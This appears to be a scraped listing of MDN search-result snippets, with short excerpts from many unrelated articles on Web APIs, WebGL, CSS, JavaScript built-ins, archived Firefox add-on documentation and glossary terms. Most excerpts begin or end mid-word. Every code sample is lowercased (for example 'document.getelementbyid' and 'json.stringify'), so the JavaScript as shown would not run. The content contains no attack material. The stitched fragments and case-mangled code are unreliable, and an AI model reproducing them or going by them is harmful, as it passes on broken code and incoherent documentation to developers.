... a for...of structure, instead of entries(): for (var p of myformdata) is equivalent to for (var p of myformdata.entries()).
Using the Gamepad API - Web APIs
stem, even if multiple controllers of the same type are used.
...test/blob/master/index.html var start = document.getelementbyid("start"); if (start) { start.style.display = "none"; } document.body.appendchild(d); requestanimationframe(updatestatus); } function disconnecthandler(e) { removegamepad(e.gamepad); } function removegamepad(gamepad) { var d = document.getelementbyid("controller" + gamepad.index); document.body.removechild(d); delete controllers[gamepad.index]; } function updatestatus() { if (!haveevents) { scangamepads(); } var i = 0; var j; for (j in controllers) { var controller = controllers[j]; var d = document.getelementbyid("controller" + j); var buttons = d.getelementsbyclassname("button"); for (i = 0; i < controller.buttons.length; i++) { var b = buttons[i]; var val = con...
HTMLOrForeignElement.dataset - Web APIs
ment.dataset.keyname attributes can also be set and read using the bracket syntax, as in element.dataset[keyname] the in operator can be used to check whether a given attribute exists.
... a domstringmap.
HTMLTableRowElement - Web APIs
gs to.
... html5the definition of 'htmltablerowelement' in that specification.
HTMLTableSectionElement - Web APIs
y was optional and was not very well supported.
...ition of 'htmltablesectionelement' in that specification.
IDBCursorSync - Web APIs
nue() advances the cursor to the next position along its direction, to the item whose key matches the optional key parameter.
... matches the optional key parameter.
IDBObjectStore.createIndex() - Web APIs
dex names are case-sensitive.
...: the method was not called from a versionchange transaction mode callback, i.e.
Basic concepts - Web APIs
that takes too long, in order to free up storage resources that the long-running transaction has locked.
... index an index is a specialized object store for looking up records in another object store, called the referenced object store.
Timing element visibility with the Intersection Observer API - Web APIs
of intersectionobserverentry objects.
... replacebox, a new element is created to contain the ad; the ad is then appended to the page.
MediaRecorder - Web APIs
nd = ""; record.style.color = ""; } mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var clipname = prompt('enter a name for your sound clip'); var clipcontainer = document.createelement('article'); var cliplabel = document.createelement('p'); var audio = document.createelement('audio'); var deletebutton = document.createelement('button'); clipcontainer.classlist.add('clip'); audio.setattribute('controls', ''); deletebutton.innerhtml = "delete"; cliplabel.innerhtml = clipname; clipcontainer.appendchild(audio); clipcontainer.appendchild(cliplabel); clipcontainer.appendchild(deletebutton); soundclips.appendchild(clipcontainer); audio.co...
...ppendchild(audio); clipcontainer.appendchild(cliplabel); clipcontainer.appendchild(deletebutton); soundclips.appendchild(clipcontainer); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); chunks = []; var audiourl = url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); deletebutton.onclick = function(e) { evttgt = e.target; evttgt.parentnode.parentnode.removechild(evttgt.parentnode); } } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } }) .catch(function(err) { console.log('the following error occurred: ' + err); }) } this code sample is inspired by the web dictaphone demo.
Node.setUserData() - Web APIs
Web › API › Node › setUserData
web content.
...lback which will be called any time the node is being cloned, imported, renamed, as well as if deleted or adopted; a function can be used or an object implementing the handle method (part of the userdatahandler interface).
OES_vertex_array_object - Web APIs
without the "oes" suffix.
... constants this extension exposes one new constant, which can be used in the gl.getparameter() method: ext.vertex_array_binding_oes returns a webglvertexarrayobject object when used in the gl.getparameter() method as the pname parameter.
performance.clearMarks() - Web APIs
ncemark entries there are.
...length ); } // create a bunch of marks.
performance.clearMeasures() - Web APIs
performance.getentriesbytype("measure").length ); } // create a bunch of measures.
...measure("from mark a", "a"); performance.measure("from navigation"); performance.measure("from mark a", "a"); performance.mark("b"); performance.measure("between a and b", "a", "b"); logmeasurecount() // "found this many entries: 5" // delete just the "from navigation" performancemeasure entries.
RTCStatsReport - Web APIs
pe gives the name of the statistic category represented by the object, and is how you locate the specific type of data you need.
... category names are members of the enumerated type rtcstatstype, as follows: candidate-pair an rtcicecandidatepairstats object providing statistics related to an rtcicetransport.
RTCStatsType - Web APIs
pe (enum) is a set of strings which define the type of statistics reported in a record found in the rtcstatsreport object.
...s which of the rtcstats-based dictionaries the record is based upon.
Selection - Web APIs
Web › API › Selection
ill be added to the selection.
...lection.
ServiceWorkerGlobalScope - Web APIs
s the serviceworkerregistration object that represents the service worker's registration.
...s read only contains the cachestorage object associated with the service worker.
StyleSheet.media - Web APIs
Web › API › StyleSheet › media
the media property of the stylesheet interface specifies the intended destination media for style information.
...> <script> for (var isheetindex = 0; isheetindex < document.stylesheets.length; isheetindex++) { console.log('document.stylesheets[' + string(isheetindex) + '].media: ' + json.stringify(document.stylesheets[isheetindex].media)); if (isheetindex === 0) document.stylesheets[isheetindex].media.appendmedium('handheld'); if (isheetindex === 1) document.stylesheets[isheetindex].media.deletemedium('print'); console.log('document.stylesheets[' + string(isheetindex) + '].media: ' + json.stringify(document.stylesheets[isheetindex].media)); } /* will log: document.stylesheets[0].media: {"0":"screen"} document.stylesheets[0].media: {"0":"screen","1":"handheld"} document.stylesheets[1].media: {"0":"screen","1":"print"} document.stylesheets[1].media: {"0":"screen"} */ </script> </bod...
WebGLRenderingContext.getProgramParameter() - Web APIs
the webglrenderingcontext.getprogramparameter() method of the webgl api returns information about the given program.
..._attribs.
Hello GLSL - Web APIs
agment-shader").innerhtml var fragmentshader = gl.createshader(gl.fragment_shader); gl.shadersource(fragmentshader,source); gl.compileshader(fragmentshader); program = gl.createprogram(); gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.detachshader(program, vertexshader); gl.detachshader(program, fragmentshader); gl.deleteshader(vertexshader); gl.deleteshader(fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.queryselector("p").innerhtml = "shader program did not link successfully.
...inkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); cleanup(); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "fail...
Hello vertex attributes - Web APIs
agment-shader").innerhtml var fragmentshader = gl.createshader(gl.fragment_shader); gl.shadersource(fragmentshader,source); gl.compileshader(fragmentshader); program = gl.createprogram(); gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.detachshader(program, vertexshader); gl.detachshader(program, fragmentshader); gl.deleteshader(vertexshader); gl.deleteshader(fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.queryselector("p").innerhtml = "shader program did not link successfully.
...uffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0]), gl.static_draw); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } window.addeventlistener("beforeunload", cleanup, true); function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "...
Textures from code - Web APIs
agment-shader").innerhtml var fragmentshader = gl.createshader(gl.fragment_shader); gl.shadersource(fragmentshader,source); gl.compileshader(fragmentshader); program = gl.createprogram(); gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.detachshader(program, vertexshader); gl.detachshader(program, fragmentshader); gl.deleteshader(vertexshader); gl.deleteshader(fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.queryselector("p").innerhtml = "shader program did not link successfully.
...; gl.drawarrays(gl.points, 0, 1); cleanup(); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0, 0.0]), gl.static_draw); gl.vertexattribpointer(0, 2, gl.float, false, 0, 0); } function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "fail...
Adding 2D content to a WebGL context - Web APIs
dshader(gl, type, source) { const shader = gl.createshader(type); // send the source to the shader object gl.shadersource(shader, source); // compile the shader program gl.compileshader(shader); // see if it compiled successfully if (!gl.getshaderparameter(shader, gl.compile_status)) { alert('an error occurred compiling the shaders: ' + gl.getshaderinfolog(shader)); gl.deleteshader(shader); return null; } return shader; } the loadshader() function takes as input the webgl context, the shader type, and the source code, then creates and compiles the shader as follows: a new shader is created by calling gl.createshader().
...to check to be sure the shader successfully compiled, the shader parameter gl.compile_status is checked.
Using Web Workers - Web APIs
nction() {}; if (onerror) {worker.onerror = onerror;} this.postmessage = function(message) { worker.postmessage(message); } this.terminate = function() { worker.terminate(); } } then we add the methods of adding/removing listeners: this.addlisteners = function(name, listener) { listeners[name] = listener; } this.removelisteners = function(name) { delete listeners[name]; } here we let the worker handle two simple operations for illustration: getting the difference of two numbers and making an alert after three seconds.
...= defaultlistener || function() {}; if (onerror) {worker.onerror = onerror;} this.postmessage = function(message) { worker.postmessage(message); } this.terminate = function() { worker.terminate(); } this.addlistener = function(name, listener) { listeners[name] = listener; } this.removelistener = function(name) { delete listeners[name]; } /* this functions takes at least one argument, the method name we want to query.
scroll-snap-type-x - CSS: Cascading Style Sheets
itial; scroll-snap-type-x: unset; syntax values none when the visual viewport of this scroll container is scrolled horizontally, it must ignore snap points.
...aps on that point when the scroll action finished, if possible.
scroll-snap-type-y - CSS: Cascading Style Sheets
: initial; scroll-snap-type-y: unset; syntax values none when the visual viewport of this scroll container is scrolled vertically, it must ignore snap points.
...snaps on that point when the scroll action finished, if possible.
scroll-snap-type - CSS: Cascading Style Sheets
itions in its inline axis only.
...t means it snaps on that point when the scroll action finished, if possible.
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › nextid
ection heading</a></h1><p> ...
...="z17">eighth section heading</a></h1><p> ...
Access-Control-Allow-Headers - HTTP
example preflight request let's look at an example of a preflight request involving access-control-allow-headers.
... preflight request is an options request which includes some combination of the three preflight request headers: access-control-request-method, access-control-request-headers, and origin, such as: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-requested-with origin: https://foo.bar.org response if the server allows cors requests to use the delete method, it responds with an access-control-allow-methods response header, which lists delete along with the other methods it supports: http/1.1 200 ok content-length: 0 connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods: post, get, options, delete access-control-max-age: 86400 if the requested method isn't supported, the server will respond with...
Redirections in HTTP - HTTP
oid having internal redirects.
... of the reload button will resend the request (possibly after a confirmation message).
Inheritance and the prototype chain - JavaScript
ment of the function: var a = {a: 1}; // a ---> object.prototype ---> null var b = object.create(a); // b ---> a ---> object.prototype ---> null console.log(b.a); // 1 (inherited) var c = object.create(b); // c ---> b ---> a ---> object.prototype ---> null var d = object.create(null); // d ---> null console.log(d.hasownproperty); // undefined, because d doesn't inherit from object.prototype delete operator with object.create and new operator using object.create of another object demonstrates prototypical inheritance with the delete operation: var a = {a: 1}; var b = object.create(a); console.log(a.a); // print 1 console.log(b.a); // print 1 b.a=5; console.log(a.a); // print 1 console.log(b.a); // print 5 delete b.a; console.log(a.a); // print 1 console.log(b.a); // print 1(b.a value 5 ...
...erator with object.create and new operator using object.create of another object demonstrates prototypical inheritance with the delete operation: var a = {a: 1}; var b = object.create(a); console.log(a.a); // print 1 console.log(b.a); // print 1 b.a=5; console.log(a.a); // print 1 console.log(b.a); // print 5 delete b.a; console.log(a.a); // print 1 console.log(b.a); // print 1(b.a value 5 is deleted but it showing value from its prototype chain) delete a.a; console.log(a.a); // print undefined console.log(b.a); // print undefined the new operator has a shorter chain in this example: function graph() { this.vertices = [4,4]; } var g = new graph(); console.log(g.vertices); // print [4,4] g.vertices = 25; console.log(g.vertices); // print 25 delete g.vertices; console.log(g.vertices); // ...
JavaScript error reference - JavaScript
"use strict" not allowed in function with non-simple parameterssyntaxerror: "x" is a reserved identifiersyntaxerror: json.parse: bad parsingsyntaxerror: malformed formal parametersyntaxerror: unexpected tokensyntaxerror: using //@ to indicate sourceurl pragmas is deprecated.
...x" is read-onlytypeerror: 'x' is not iterabletypeerror: more arguments neededtypeerror: reduce of empty array with no initial valuetypeerror: x.prototype.y called on incompatible typetypeerror: can't access dead objecttypeerror: can't access property "x" of "y"typeerror: can't assign to property "x" on "y": not an objecttypeerror: can't define property "x": "obj" is not extensibletypeerror: can't delete non-configurable array elementtypeerror: can't redefine non-configurable property "x"typeerror: cannot use "in" operator to search for "x" in "y"typeerror: cyclic object valuetypeerror: invalid "instanceof" operand "x"typeerror: invalid array.prototype.sort argumenttypeerror: invalid argumentstypeerror: invalid assignment to const "x"typeerror: property "x" is non-configurable and can't be delete...
Array.prototype.every() - JavaScript
where callback returns a falsy value.
...very does not mutate the array on which it is called.
Array.prototype.map() - JavaScript
ing the result of the callback function.
...which it is called (although callback, if invoked, may do so).
Array.prototype.some() - JavaScript
tes the callback function once for each element present in the array until it finds the one where callback returns a truthy value (a value that becomes true when converted to a boolean).
...is called.
Proxy() constructor - JavaScript
sed version of the target's property accessor.
...rty accessor.
TypedArray.prototype.find() - JavaScript
the find method executes the callback function once for each element present in the typed array until it finds one where callback returns a true value.
... range of elements processed by find is set before the first invocation of callback.
TypedArray.prototype.findIndex() - JavaScript
ndindex method executes the callback function once for each element present in the typed array until it finds one where callback returns a true value.
...nts processed by findindex is set before the first invocation of callback.
TypedArray.prototype.forEach() - JavaScript
y.
...this seen by a function.
WeakSet - JavaScript
ernal _refs parameter).
...pe.delete(value) removes value from the weakset.
Operator precedence - JavaScript
t) right-to-left new … 18 postfix increment n/a … ++ postfix decrement … -- 17 logical not right-to-left !
...t-to-left new … 18 postfix increment n/a … ++ postfix decrement … -- 17 logical not right-to-left !
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
ving to web storage won't work, because web storage is synchronous.
...en activated and takes over management of the page from the old one.
system - Archive of obsolete content
er a variable exists by checking whether a property with that name exists: var system = require("sdk/system"); if ('path' in system.env) { console.log("path is set"); } you can set a variable by setting the property: var system = require("sdk/system"); system.env.foo = "bar"; console.log(system.env.foo); you can unset a variable by deleting the property: var system = require("sdk/system"); delete system.env.foo; you can't enumerate environment variables.
core/namespace - Archive of obsolete content
= cu.sandbox(element.ownerdocument.defaultview); // ...
system/environment - Archive of obsolete content
r path = env.path; you can check for the existence of an environment variable by checking whether a property with that variable name exists: console.log('path' in env); // true console.log('foo' in env); // false you can set the value of an environment variable by setting the property: env.foo = 'foo'; env.path += ':/my/path/' you can unset an environment variable by deleting the property: delete env.foo; limitations there is no way to enumerate existing environment variables, also env won't have any enumerable properties: console.log(object.keys(env)); // [] environment variable will be unset, show up as non-existing if it's set to null, undefined or ''.
ui/button/action - Archive of obsolete content
for each tab in a window.
Release notes - Archive of obsolete content
rings and api-utils.publicconstructor details github commits made between firefox 28 and firefox 29.
Displaying annotations - Archive of obsolete content
.js')], onshow: function() { this.postmessage(this.content); } }); execute cfx run one last time.
Developing for Firefox Mobile - Archive of obsolete content
n as an xpi, use the command: jpm xpi actually installing the xpi on the device is a little tricky.
Unit Testing - Archive of obsolete content
e you'll also have to have an icon file named "icon-16.png" saved in your add-ons "data" directory.
File I/O - Archive of obsolete content
ile) netutil.asynccopy(stream, output, callback); } synchronous checking the existence of a file // |file| is nsifile if (file.exists()) { // ...
Examples and demos from articles - Archive of obsolete content
what follows is a brief list of examples and demos from our theoretical articles.
Miscellaneous - Archive of obsolete content
ificate service", contractid: "@mozilla.org/certs-service;2", classid: components.id("{e9d2d37c-bf25-4e37-82a1-16b8fa089939}"), queryinterface: xpcomutils.generateqi([ci.nsiobserver]), _xpcom_categories: [{ category: "app-startup", service: true }] } function nsgetmodule(compmgr, filespec) { return xpcomutils.generatemodule([certsservice]); } you need to delete your existing profile, otherwise the xpcom service is not used.
Delayed Execution - Archive of obsolete content
t will be deactivated and its callbacks will not fire.
JavaScript Daemons Management - Archive of obsolete content
&& (this.isatend() || !this.paused)) { return false; } this.backw = bbackw; this.paused = false; if (this.onstart) { this.onstart.call(this.owner, this.index, this.length, this.backw); } this.synchronize(); return true; }; daemon.prototype.stop = function () { this.pause(); if (this.onstop) { this.onstop.call(this.owner, this.index, this.length, this.backw); } delete this.index; delete this.backw; delete this.reversals; }; /******************************* * daemon is now ready!
Code snippets - Archive of obsolete content
omplete in a browser boxes tips and tricks when using boxes as containers tabbox removing and manipulating tabs in a tabbox windows-specific finding window handles (hwnd) (firefox) how to use windows api calls to find various kinds of mozilla window handles.
Enhanced Extension Installation - Archive of obsolete content
s, the entire operation is rolled back.
Extension Versioning, Update and Compatibility - Archive of obsolete content
link is not https then the hash must be made using one of the sha family of algorithms.
How to convert an overlay extension to restartless - Archive of obsolete content
r xpi.
Interaction between privileged and non-privileged pages - Archive of obsolete content
ent from unexpected source"; return new xml(event.target.getattribute("eventdatafrompage")); } security notes never invoke the web page's javascript functions from your extension - doing this increases the chance of creating a security hole, where a malicious web page can trick the browser to run its code with extended privileges (just like your extension) with, for example, the ability to delete local files.
Appendix: What you should know about open-source software licenses - Archive of obsolete content
by the university of california at berkeley for distributing a unix-like operating system.
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
r the innerhtml property, so if it weren’t for the dom, dynamic processing would be impossible.
Adding windows and dialogs - Archive of obsolete content
ext.label;" checked="false" persist="checked" /> setting the id attribute of the element is mandatory if you want the persist attribute to work.
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
l scripts there are two common cases for needing these: cleaning up local data and presenting an uninstall feedback form.
Appendix F: Monitoring DOM changes - Archive of obsolete content
dom mutation events were introduced to html several years ago in order to allow web applications to monitor changes to the dom by other scripts.
Custom XUL Elements with XBL - Archive of obsolete content
<getter><![cdata[ return this.getattribute('name'); ]]></getter> <setter><![cdata[ this.setattribute('name', val); ]]></setter> </property> properties can be accessed just the same as fields, and they're the ones we prefer for public members.
XPCOM Objects - Archive of obsolete content
you to register your component under categories that are either pre-existing or you make up.
obsolete - Archive of obsolete content
the obsolete event is fired when the manifest was found to have become a 404 or 410 page, so the application cache is being deleted.
Creating a Release Tag - Archive of obsolete content
hat aren't normally checked out on linux or the tag won't build on those platforms.
Getting Started - Archive of obsolete content
k at the files in the jar files.
Helper Apps (and a bit of Save As) - Archive of obsolete content
open in helper are the current options the user has).
CRMF Request object - Archive of obsolete content
eprecatedthis feature has been removed from the web standards.
generateCRMFRequest() - Archive of obsolete content
eprecatedthis feature has been removed from the web standards.
importUserCertificates - Archive of obsolete content
eprecatedthis feature has been removed from the web standards.
popChallengeResponse - Archive of obsolete content
eprecatedthis feature has been removed from the web standards.
Reading textual data - Archive of obsolete content
g from is: var str = {}; var numchars = is.readstring(4096, str); if (numchars != 0 /* eof */) var read_string = str.value; to read the entire stream and do something with the data: var str = {}; while (is.readstring(4096, str) != 0) { processdata(str.value); } don't forget to close the stream when you're done with it (is.close()).
Rsyncing the CVS Repository - Archive of obsolete content
the mozilla.org cvs repository can be downloaded via rsync.
Abc Assembler Tests - Archive of obsolete content
e applicable instead * of those above.
Tamarin Acceptance Test Template - Archive of obsolete content
e applicable instead * of those above.
Actionscript Acceptance Tests - Archive of obsolete content
estcase is matched line by line to the .out file and any difference is considered a failure.
Tamarin build documentation - Archive of obsolete content
ranch of tamarin the repository is based on, tamarin-central or tamarin-tracing.
Venkman Introduction - Archive of obsolete content
ew the local variables view is on the left portion of the window, at the bottom.
Using Breakpoints in Venkman - Archive of obsolete content
te the script that follows without stopping and without logging the result.
Using XPInstall to Install Plugins - Archive of obsolete content
e, but wish to make the delivery of this native installer streamlined and within the browser's process, then you ought to consider wrapping it in an xpi package.
remove - Archive of obsolete content
summary deletes a specified file.
confirm - Archive of obsolete content
of parameters up to 8.
XPJS Components Proposal - Archive of obsolete content
einstance method at will.
Dynamically modifying XUL-based user interface - Archive of obsolete content
hat interacts with a xul (or html) document, you have already used dom calls.
IO - Archive of obsolete content
Archive › Mozilla › XUL › FileGuide › IO
a file.
Menus - Archive of obsolete content
endpagetodevice send page to device context-sendpage send page in an email context-viewbgimage views a background image context-undo undo editable text context-cut cuts to clipboard editable text context-copy copies to clipboard context-paste pastes from clipboard editable text context-delete deletes selection editable text context-selectall selects all context-searchselect selected text is searched context-viewpartialsource-selection views the selection source selection context-viewpartialsource-mathml views the mathml source mathml context-viewsource views the source context-viewinfo v...
Filtering - Archive of obsolete content
at a time, so we can just reuse the same triple for each filter.
Template Builder Interface - Archive of obsolete content
y, although, as mentioned earlier, is will be set to null for most elements.
Complete - Archive of obsolete content
then you can add the command line switch by editing the icon's properties.
Additional Install Features - Archive of obsolete content
e more elaborate processing during the installation.
Box Objects - Archive of obsolete content
ex layouts than the basic box, while others such as the button are used only to add extra mouse and key event handling.
Install Scripts - Archive of obsolete content
contains a number of functions to customize the install process.
Keyboard Shortcuts - Archive of obsolete content
ys is listed below.
textbox - Archive of obsolete content
r or margin.
CommandLine - Archive of obsolete content
cld_category, contract_id, true, true); }, unregisterself : function mod_unreg(acompmgr, alocation, atype) { var compreg = acompmgr.queryinterface(nsicomponentregistrar); compreg.unregisterfactorylocation(class_id, alocation); var catman = components.classes["@mozilla.org/categorymanager;1"] .getservice(nsicategorymanager); catman.deletecategoryentry("command-line-handler", cld_category); }, canunload : function (acompmgr) { return true; } }; function nsgetmodule(acompmgr, afilespec) { return apphandlermodule; } create an observer that will get notified when arguments change: chrome/content/cmdline.js function commandlineobserver() { this.register(); } commandlineobserver.prototype = { observe: function(asu...
Components - Archive of obsolete content
tensions, it must be directly in that directory, not a subdirectory.
Archived Mozilla and build documentation - Archive of obsolete content
calicalendarview implementations are particularly well suited to xbl.
2006-10-06 - Archive of obsolete content
lelistener.idl gmake[2]: *** [_xpidlgen/nsiconsolelistener.h] bus error gmake[2]: *** deleting file `_xpidlgen/nsiconsolelistener.h' gmake[1]: *** [export] error 2 make: *** [all] error 2:: on octorber 4th ludwig hügelschäfer responded to his original post with the solution to his own problem.
2006-10-27 - Archive of obsolete content
because it has been failing since october 22 at around 5:45 pm pdt.
2006-12-01 - Archive of obsolete content
sically a java classloader that creates classes from javascript files.
NPAPI plugin developer guide - Archive of obsolete content
ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http se...
NPN_GetURLNotify - Archive of obsolete content
arget is non-null, the browser calls npp_urlnotify() after it has finished loading the url.
NPN_RemoveProperty - Archive of obsolete content
...
NPN_Write - Archive of obsolete content
done.
NPP - Archive of obsolete content
plug-in.
NPP_Write - Archive of obsolete content
the current stream.
NP_Initialize - Archive of obsolete content
ription the browser calls this function only once: when a plug-in is loaded, before the first instance is created.
NP_Shutdown - Archive of obsolete content
...
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
ss does not currently provide facilities for this either).
Introduction to SSL - Archive of obsolete content
rogue program's public key or private key, rather than the client's or server's real keys.
Building a Theme - Archive of obsolete content
rename it and you're done!
Common Firefox theme issues and solutions - Archive of obsolete content
nd-icon.png tabview/tabview.png places/toolbar.png linux linux select box fields are showing both drop arrow and spinner arrows on linux: the styling of drop down select box fields may show both a drop arrow and up/down spinner arrows.
Theme changes in Firefox 2 - Archive of obsolete content
this article covers the changes that need to be made to update a firefox theme to work properly in firefox 2.
Theme changes in Firefox 3 - Archive of obsolete content
this article covers the changes that need to be made to update a firefox theme to work properly in firefox 3.
Using IO Timeout And Interrupt On NT - Archive of obsolete content
rupt()</tt> call.
Using the W3C DOM - Archive of obsolete content
dom-compliant browsers.
New in JavaScript 1.2 - Archive of obsolete content
n (inspired by list literal syntax from python 1.x).
New in JavaScript 1.8.5 - Archive of obsolete content
determines if extending of an object is allowed.
Object.prototype.__noSuchMethod__ - Archive of obsolete content
ct's __nosuchmethod__ member.
Archived JavaScript Reference - Archive of obsolete content
d on an existing one.
Desktop gamepad controls - Game development
e amount an axis is pressed in the x and y directions, represented by a float in the (-1, 1) range.
Implementing controls using the Gamepad API - Game development
using only one gamepad for this game, so it's a single object instead of an array of gamepads.
Move the ball - Game development
ment works with the movies.
Extra lives - Game development
hanges to every place it is used.
Plug-in Development Overview - Gecko Plugin API Reference
he plug-in.
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
csrf (cross-site request forgery) is an attack that impersonates a trusted user and sends a website unwanted commands.
Cookie - MDN Web Docs Glossary: Definitions of Web-related terms
a cookie is a small piece of information left on a visitor's computer by a website, via a web browser.
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
how the app's data should be displayed.
POP3 - MDN Web Docs Glossary: Definitions of Web-related terms
pop3 (post office protocol) is a very common protocol for getting emails from a mail server over a tcp connection.
WebDAV - MDN Web Docs Glossary: Definitions of Web-related terms
webdav (web distributed authoring and versioning) is an http extension that lets web developers update their content remotely from a client.
Cacheable - MDN Web Docs Glossary: Definitions of Web-related terms
response to be cached: the method used in the request is itself cacheable, that is either a get or a head method.
Flexbox - Learn web development
...
Positioning - Learn web development
ive to the visible portion of the viewport, except if one of its ascendants is a fixed containing block due to its transform property being different from none.
What is a Domain Name? - Learn web development
ith a built-in shell, type a whois command into it, as shown here for mozilla.org: $ whois mozilla.org domain name:mozilla.org domain id: d1409563-lror creation date: 1998-01-24t05:00:00z updated date: 2013-12-08t01:16:57z registry expiry date: 2015-01-23t05:00:00z sponsoring registrar:markmonitor inc.
Advanced form styling - Learn web development
that the left one isn't sized properly.
Client-side form validation - Learn web development
g.
CSS basics - Learn web development
that you previously saved from what will your website look like?.
JavaScript basics - Learn web development
es to alternate the display of one of two images.
Debugging HTML - Learn web development
it isn't clear where the first <strong> element should be closed, so the browser has wrapped each separate block of text with its own strong tag, right down to the bottom of the document!
Third-party APIs - Learn web development
rfix.setattribute('class','clearfix'); article.appendchild(heading); heading.appendchild(link); article.appendchild(img); article.appendchild(para1); article.appendchild(para2); article.appendchild(clearfix); section.appendchild(article); } } } there's a lot of code here; let's explain it step by step: the while loop is a common pattern used to delete all of the contents of a dom element, in this case, the <section> element.
Video and Audio APIs - Learn web development
ct?
What went wrong? Troubleshooting JavaScript - Learn web development
question: <p class="loworhi"></p> so we need a class selector here, which begins with a dot (.), but the selector being passed into the queryselector() method in line 48 has no dot.
Introduction to the server side - Learn web development
ommended.
Server-side web frameworks - Learn web development
etc.
Ember app structure and componentization - Learn web development
plays ember's default welcome message.
React resources - Learn web development
way to handle certain other, more edge-case features, and they’re very common in legacy react projects.
TypeScript support in Svelte - Learn web development
> 0 ?
Working with Svelte stores - Learn web development
update your addtodo() function like so: function addtodo(name) { todos = [...todos, { id: newtodoid, name, completed: false }] $alert = `todo '${name}' has been added` } update removetodo() like so: function removetodo(todo) { todos = todos.filter(t => t.id !== todo.id) todosstatus.focus() // give focus to status heading $alert = `todo '${todo.name}' has been deleted` } update the updatetodo() function to this: function updatetodo(todo) { const i = todos.findindex(t => t.id === todo.id) if (todos[i].name !== todo.name) $alert = `todo '${todos[i].name}' has been renamed to '${todo.name}'` if (todos[i].completed !== todo.completed) $alert = `todo '${todos[i].name}' marked as ${todo.completed ?
Strategies for carrying out testing - Learn web development
g box at the installer image/disk, and it will run through the steps to install the os just like on a physical machine.
Setting up your own test automation environment - Learn web development
ocs.
Multiprocess on Windows
cs stauniqueptr<t> forces reference to be released on the main thread.
Frequently Asked Questions for Lightweight themes
t want to ensure that the art displayed in the themes gallery meets a basic set of guidelines.
Application cache implementation overview
lly start, the scheduling service calls nsofflinecacheupdate::begin() method, that switches the update to checking state (+invokes onchecking event) and starts fetch of the manifest file.
Choosing the right memory allocator
or the security code located in the /security/ subtree of the source code.
Continuous Integration
riggered on a periodic basis instead of being triggered by a push to hg.
HTTP logging
th the largest number is not guarantied to be the last file written!
Windows SDK versions
%".
Obsolete Build Caveats and Tips
owing problems: breaks the vcvars32.bat file from visual studio 2008 no longer sets the correct path for the .net framework causes an invalid path which breaks the mozilla build if you have the windows server 2008 sdk installed, uninstall it.
Performance best practices for Firefox front-end engineers
it doesn’t matter), the browser does calculations to figure out which css styles will apply to each element.
Getting from Content to Layout
estyles hashtable.
How to get a stacktrace for a bug report
ly sends the crash report to the reporting server then, by default, the files added to the 'pending' subdirectory for the crash are removed, and a .txt file is placed in the 'submitted' directory containing the crash id created by the reporting server.
CustomizableUI.jsm
me manifest file with links to two different versions of xul overlay, using manifest flags.
DeferredTask.jsm
if the timer is not armed, the "finalize" method only ensures that any running task terminates.
Sqlite.jsm
modify the parameter count or positions without fixing all users of the statement.
Index
ork on the localizable files without the context of the source files including the localized strings; it is important to add comments to the localizable files themselves, too.
Localizing XLIFF files for iOS
lish strings are contained in <source> child tags.
BloatView
